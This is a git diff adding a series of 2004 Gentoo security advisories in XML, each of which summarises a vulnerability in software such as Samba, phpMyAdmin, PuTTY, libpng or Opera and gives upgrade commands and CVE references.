+    <p>
+    The SWAT authentication overflow could be exploited to execute arbitrary
+    code with the rights of the Samba daemon process. The overflow in the
+    sambaMungedDial handling code is not thought to be exploitable. The buffer
+    overflow in 'mangling method = hash' code could also be used to execute
+    arbitrary code on vulnerable configurations.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Users disabling SWAT, not using ldapsam passdb backends and not using the
+    'mangling method = hash' option are not vulnerable.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Samba users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-fs/samba-3.0.5"
+    # emerge ">=net-fs/samba-3.0.5"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.samba.org/samba/whatsnew/samba-3.0.5.html">Samba 3.0.5 Release Notes</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0600">CAN-2004-0600</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0686">CAN-2004-0686</uri>
+  </references>
+  <metadata tag="requester">
+    koon
+  </metadata>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-22.xml b/xml/htdocs/security/en/glsa/glsa-200407-22.xml
new file mode 100644
index 00000000..31696d2c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-22.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-22">
+  <title>phpMyAdmin: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in phpMyAdmin may allow a remote attacker with a
+    valid user account to alter configuration variables and execute arbitrary
+    PHP code.
+  </synopsis>
+  <product type="ebuild">dev-db/phpmyadmin</product>
+  <announced>July 29, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>57890</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.5.7_p1</unaffected>
+      <vulnerable range="le">2.5.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a popular, web-based MySQL administration tool written in
+    PHP. It allows users to administer a MySQL database from a web-browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two serious vulnerabilities exist in phpMyAdmin. The first allows any
+    user to alter the server configuration variables (including host, name,
+    and password) by appending new settings to the array variables that
+    hold the configuration in a GET statement. The second allows users to
+    include arbitrary PHP code to be executed within an eval() statement in
+    table name configuration settings. This second vulnerability is only
+    exploitable if $cfg['LeftFrameLight'] is set to FALSE.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Authenticated users can alter configuration variables for their running
+    copy of phpMyAdmin. The impact of this should be minimal. However, the
+    second vulnerability would allow an authenticated user to execute
+    arbitrary PHP code with the permissions of the webserver, potentially
+    allowing a serious Denial of Service or further remote compromise.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The second, more serious vulnerability is only exploitable if
+    $cfg['LeftFrameLight'] is set to FALSE. In the default Gentoo
+    installation, this is set to TRUE. There is no known workaround for the
+    first.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=dev-db/phpmyadmin-2.5.7_p1&quot;
+    # emerge &quot;&gt;=dev-db/phpmyadmin-2.5.7_p1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/367486">BugTraq Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2631">CVE-2004-2631</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2632">CVE-2004-2632</uri>
+  </references>
+  <metadata tag="requester">
+    koon
+  </metadata>
+  <metadata tag="submitter">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-23.xml b/xml/htdocs/security/en/glsa/glsa-200407-23.xml
new file mode 100644
index 00000000..3e7f35b6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-23.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-23">
+  <title>SoX: Multiple buffer overflows</title>
+  <synopsis>
+    SoX contains two buffer overflow vulnerabilities in the WAV header parser
+    code.
+  </synopsis>
+  <product type="ebuild">SoX</product>
+  <announced>July 30, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>58733</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/sox" auto="yes" arch="*">
+      <unaffected range="ge">12.17.4-r2</unaffected>
+      <vulnerable range="le">12.17.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SoX is a command line utility that can convert various formats of
+    computer audio files in to other formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar discovered two buffer overflows in the sox and play
+    commands when handling WAV files with specially crafted header fields.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to play or convert a specially crafted WAV file an
+    attacker could execute arbitrary code with the permissions of the user
+    running SoX.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of SoX.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SoX users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=media-sound/sox-12.17.4-r2&quot;
+    # emerge &quot;&gt;=media-sound/sox-12.17.4-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://archives.neohapsis.com/archives/fulldisclosure/2004-07/1141.html">Full Disclosure Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0557">CVE-2004-0557</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-01.xml b/xml/htdocs/security/en/glsa/glsa-200408-01.xml
new file mode 100644
index 00000000..26fe5c0d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-01.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-01">
+  <title>MPlayer: GUI filename handling overflow</title>
+  <synopsis>
+    When compiled with GUI support MPlayer is vulnerable to a remotely
+    exploitable buffer overflow attack.
+  </synopsis>
+  <product type="ebuild">MPlayer</product>
+  <announced>August 01, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>55456</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0_pre4-r7</unaffected>
+      <vulnerable range="lt">1.0_pre4-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPlayer is a media player capable of handling multiple multimedia file
+    formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    The MPlayer GUI code contains several buffer overflow vulnerabilities,
+    and at least one in the TranslateFilename() function is exploitable.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to play a file with a carefully crafted filename an
+    attacker could execute arbitrary code with the permissions of the user
+    running MPlayer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    To work around this issue, users can compile MPlayer without GUI
+    support by disabling the gtk USE flag. All users are encouraged to
+    upgrade to the latest available version of MPlayer.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=media-video/mplayer-1.0_pre4-r7&quot;
+    # emerge &quot;&gt;=media-video/mplayer-1.0_pre4-r7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/bid/10615/">Bugtraq Announcement</uri>
+    <uri link="http://www.open-security.org/advisories/5">Open-Security Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0659">CVE-2004-0659</uri>
+  </references>
+  <metadata tag="requester">
+    koon
+  </metadata>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-02.xml b/xml/htdocs/security/en/glsa/glsa-200408-02.xml
new file mode 100644
index 00000000..e04e2f25
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-02.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-02">
+  <title>Courier: Cross-site scripting vulnerability in SqWebMail</title>
+  <synopsis>
+    The SqWebMail web application, included in the Courier suite, is vulnerable
+    to cross-site scripting attacks.
+  </synopsis>
+  <product type="ebuild">Courier</product>
+  <announced>August 04, 2004</announced>
+  <revised>August 04, 2004: 01</revised>
+  <bug>58020</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-mta/courier" auto="yes" arch="*">
+      <unaffected range="ge">0.45.6.20040618</unaffected>
+      <vulnerable range="le">0.45.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Courier is an integrated mail and groupware server based on open protocols.
+    It provides ESMTP, IMAP, POP3, webmail, and mailing list services within a
+    single framework. The webmail functionality included in Courier called
+    SqWebMail allows you to access mailboxes from a web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luca Legato found that SqWebMail is vulnerable to a cross-site scripting
+    (XSS) attack. An XSS attack allows an attacker to insert malicious code
+    into a web-based application. SqWebMail doesn't filter appropriately data
+    coming from message headers before displaying them.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a carefully crafted message, an attacker can inject and execute
+    script code in the victim's browser window. This allows to modify the
+    behaviour of the SqWebMail application, and/or leak session information
+    such as cookies to the attacker.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of Courier.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Courier users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=mail-mta/courier-0.45.6.20040618"
+    # emerge ">=mail-mta/courier-0.45.6.20040618"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0591">CAN-2004-0591</uri>
+    <uri link="http://www.cert.org/advisories/CA-2000-02.html">XSS definition</uri>
+  </references>
+  <metadata tag="requester">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue,  3 Aug 2004 15:23:08 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-03.xml b/xml/htdocs/security/en/glsa/glsa-200408-03.xml
new file mode 100644
index 00000000..f19c9bec
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-03.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-03">
+  <title>libpng: Numerous vulnerabilities</title>
+  <synopsis>
+    libpng contains numerous vulnerabilities potentially allowing an attacker
+    to perform a Denial of Service attack or even execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">libpng</product>
+  <announced>August 05, 2004</announced>
+  <revised>August 05, 2004: 01</revised>
+  <bug>59424</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libpng" auto="yes" arch="*">
+      <unaffected range="ge">1.2.5-r8</unaffected>
+      <vulnerable range="le">1.2.5-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libpng is a standard library used to process PNG (Portable Network
+    Graphics) images. It is used by several other programs, including web
+    browsers and potentially server processes.
+    </p>
+  </background>
+  <description>
+    <p>
+    libpng contains numerous vulnerabilities including null pointer dereference
+    errors and boundary errors in various functions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit these vulnerabilities to cause programs linked
+    against the library to crash or execute arbitrary code with the permissions
+    of the user running the vulnerable program, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libpng users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=media-libs/libpng-1.2.5-r8"
+    # emerge ">=media-libs/libpng-1.2.5-r8"</code>
+    <p>
+    You should also run revdep-rebuild to rebuild any packages that depend on
+    older versions of libpng :
+    </p>
+    <code>
+    # revdep-rebuild</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0597">CAN-2004-0597</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0598">CAN-2004-0598</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0599">CAN-2004-0599</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu,  5 Aug 2004 09:45:46 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-04.xml b/xml/htdocs/security/en/glsa/glsa-200408-04.xml
new file mode 100644
index 00000000..c4e2d219
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-04.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-04">
+  <title>PuTTY: Pre-authentication arbitrary code execution</title>
+  <synopsis>
+    PuTTY contains a vulnerability allowing a SSH server to execute arbitrary
+    code on the connecting client.
+  </synopsis>
+  <product type="ebuild">PuTTY</product>
+  <announced>August 05, 2004</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>59383</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/putty" auto="yes" arch="*">
+      <unaffected range="ge">0.55</unaffected>
+      <vulnerable range="le">0.54</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PuTTY is a free implementation of Telnet and SSH for Win32 and Unix
+    platforms, along with an xterm terminal emulator.
+    </p>
+  </background>
+  <description>
+    <p>
+    PuTTY contains a vulnerability allowing a malicious server to execute
+    arbitrary code on the connecting client before host key verification.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    When connecting to a server using the SSH2 protocol an attacker is able
+    to execute arbitrary code with the permissions of the user running
+    PuTTY by sending specially crafted packets to the client during the
+    authentication process but before host key verification.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of PuTTY.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PuTTY users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-misc/putty-0.55&quot;
+    # emerge &quot;&gt;=net-misc/putty-0.55&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.coresecurity.com/common/showdoc.php?idx=417&amp;idxseccion=10">Corelabs Advisory</uri>
+    <uri link="http://www.chiark.greenend.org.uk/~sgtatham/putty/changes.html">PuTTY ChangeLog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1440">CVE-2004-1440</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed,  4 Aug 2004 17:20:53 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu,  5 Aug 2004 09:03:08 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-05.xml b/xml/htdocs/security/en/glsa/glsa-200408-05.xml
new file mode 100644
index 00000000..332bf4d4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-05.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-05">
+  <title>Opera: Multiple new vulnerabilities</title>
+  <synopsis>
+    Several new vulnerabilities were found and fixed in Opera, including one
+    allowing an attacker to read the local filesystem remotely.
+  </synopsis>
+  <product type="ebuild">Opera</product>
+  <announced>August 05, 2004</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>59503</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">7.54</unaffected>
+      <vulnerable range="le">7.53</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a multi-platform web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been found in the Opera web browser.
+    Opera fails to deny write access to the "location" browser object. An
+    attacker can overwrite methods in this object and gain script access to
+    any page that uses one of these methods. Furthermore, access to file://
+    URLs is possible even from pages loaded using other protocols. Finally,
+    spoofing a legitimate web page is still possible, despite the fixes
+    announced in GLSA 200407-15.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing an user to visit specially crafted web pages, an attacker
+    can read files located on the victim's file system, read emails written
+    or received by M2, Opera's mail program, steal cookies, spoof URLs,
+    track user browsing history, etc.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=www-client/opera-7.54&quot;
+    # emerge &quot;&gt;=www-client/opera-7.54&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.opera.com/linux/changelogs/754/">Opera Changelog</uri>
+    <uri link="http://archives.neohapsis.com/archives/fulldisclosure/2004-07/1056.html">Address bar spoofing issue disclosure</uri>
+    <uri link="http://www.greymagic.com/security/advisories/gm008-op/">GreyMagic Security Advisory GM#008-OP</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2570">CVE-2004-2570</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu,  5 Aug 2004 18:21:29 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-06.xml b/xml/htdocs/security/en/glsa/glsa-200408-06.xml
new file mode 100644
index 00000000..be32f9d3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-06.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-06">
+  <title>SpamAssassin: Denial of Service vulnerability</title>
+  <synopsis>
+    SpamAssassin is vulnerable to a Denial of Service attack when handling
+    certain malformed messages.
+  </synopsis>
+  <product type="ebuild">SpamAssassin</product>
+  <announced>August 09, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>59483</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-filter/spamassassin" auto="yes" arch="*">
+      <unaffected range="ge">2.64</unaffected>
+      <vulnerable range="le">2.63-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SpamAssassin is an extensible email filter which is used to identify
+    spam.
+    </p>
+  </background>
+  <description>
+    <p>
+    SpamAssassin contains an unspecified Denial of Service vulnerability.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a specially crafted message an attacker could cause a Denial
+    of Service attack against the SpamAssassin service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of SpamAssassin.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SpamAssassin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=mail-filter/spamassassin-2.64&quot;
+    # emerge &quot;&gt;=mail-filter/spamassassin-2.64&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://marc.theaimsgroup.com/?l=spamassassin-announce&amp;m=109168121628767&amp;w=2">SpamAssassin Release Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0796">CVE-2004-0796</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu,  5 Aug 2004 09:14:09 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu,  5 Aug 2004 11:01:34 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-07.xml b/xml/htdocs/security/en/glsa/glsa-200408-07.xml
new file mode 100644
index 00000000..0a0b2f5a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-07.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-07">
+  <title>Horde-IMP: Input validation vulnerability for Internet Explorer users</title>
+  <synopsis>
+    An input validation vulnerability has been discovered in Horde-IMP. This
+    only affects users of Internet Explorer.
+  </synopsis>
+  <product type="ebuild">horde-imp</product>
+  <announced>August 10, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>59336</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/horde-imp" auto="yes" arch="*">
+      <unaffected range="ge">3.2.5</unaffected>
+      <vulnerable range="le">3.2.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Horde-IMP is the Internet Messaging Program. It is written in PHP and
+    provides webmail access to IMAP and POP3 accounts.
+    </p>
+  </background>
+  <description>
+    <p>
+    Horde-IMP fails to properly sanitize email messages that contain
+    malicious HTML or script code so that it is not safe for users of
+    Internet Explorer when using the inline MIME viewer for HTML messages.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to read a specially crafted e-mail, an attacker can
+    execute arbitrary scripts running in the context of the victim's
+    browser. This could lead to a compromise of the user's webmail account,
+    cookie theft, etc.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not use Internet Explorer to access Horde-IMP.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Horde-IMP users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=www-apps/horde-imp-3.2.5&quot;
+    # emerge &quot;&gt;=www-apps/horde-imp-3.2.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cvs.horde.org/diff.php/imp/docs/CHANGES?r1=1.389.2.106&amp;r2=1.389.2.109&amp;ty=h">Horde-IMP Changelog</uri>
+    <uri link="http://secunia.com/advisories/12202/">Secunia Advisory SA12202</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1443">CVE-2004-1443</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun,  8 Aug 2004 18:55:04 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-08.xml b/xml/htdocs/security/en/glsa/glsa-200408-08.xml
new file mode 100644
index 00000000..8e31510f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-08.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-08">
+  <title>Cfengine: RSA Authentication Heap Corruption</title>
+  <synopsis>
+    Cfengine is vulnerable to a remote root exploit from clients in
+    AllowConnectionsFrom.
+  </synopsis>
+  <product type="ebuild">Cfengine</product>
+  <announced>August 10, 2004</announced>
+  <revised>May 22, 2006: 05</revised>
+  <bug>59895</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/cfengine" auto="yes" arch="*">
+      <unaffected range="ge">2.1.8</unaffected>
+      <unaffected range="lt">2.0.0</unaffected>
+      <vulnerable range="le">2.1.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cfengine is an agent/software robot and a high level policy language
+    for building expert systems to administrate and configure large
+    computer networks.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two vulnerabilities have been found in cfservd. One is a buffer
+    overflow in the AuthenticationDialogue function and the other is a
+    failure to check the proper return value of the ReceiveTransaction
+    function.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could use the buffer overflow to execute arbitrary code
+    with the permissions of the user running cfservd, which is usually the
+    root user. However, before such an attack could be mounted, the
+    IP-based ACL would have to be bypassed. With the second vulnerability,
+    an attacker could cause a denial of service attack.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of Cfengine. (It should be
+    noted that disabling cfservd will work around this particular problem.
+    However, in many cases, doing so will cripple your Cfengine setup.
+    Upgrading is strongly recommended.)
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cfengine users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-misc/cfengine-2.1.8&quot;
+    # emerge &quot;&gt;=net-misc/cfengine-2.1.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.coresecurity.com/common/showdoc.php?idx=387&amp;idxseccion=10">Corelabs Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1701">CVE-2004-1701</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1702">CVE-2004-1702</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon,  9 Aug 2004 21:29:04 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-09.xml b/xml/htdocs/security/en/glsa/glsa-200408-09.xml
new file mode 100644
index 00000000..c00e780e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-09.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-09">
+  <title>Roundup: Filesystem access vulnerability</title>
+  <synopsis>
+    Roundup will make files owned by the user that it's running as accessable
+    to a remote attacker.
+  </synopsis>
+  <product type="ebuild">Roundup</product>
+  <announced>August 11, 2004</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>53494</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/roundup" auto="yes" arch="*">
+      <unaffected range="ge">0.7.6</unaffected>
+      <vulnerable range="le">0.6.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Roundup is a simple to use issue-tracking system with command-line,
+    web, and e-mail interfaces.
+    </p>
+  </background>
+  <description>
+    <p>
+    Improper handling of a specially crafted URL allows access to the
+    server's filesystem, which could contain sensitive information.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker could view files owned by the user running Roundup. This
+    will never be root however, as Roundup will not run as root.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of Roundup.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Roundup users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=www-apps/roundup-0.7.6&quot;
+    # emerge &quot;&gt;=www-apps/roundup-0.7.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://secunia.com/advisories/11801/">Secunia Advisory SA11801</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1444">CVE-2004-1444</uri>
+  </references>
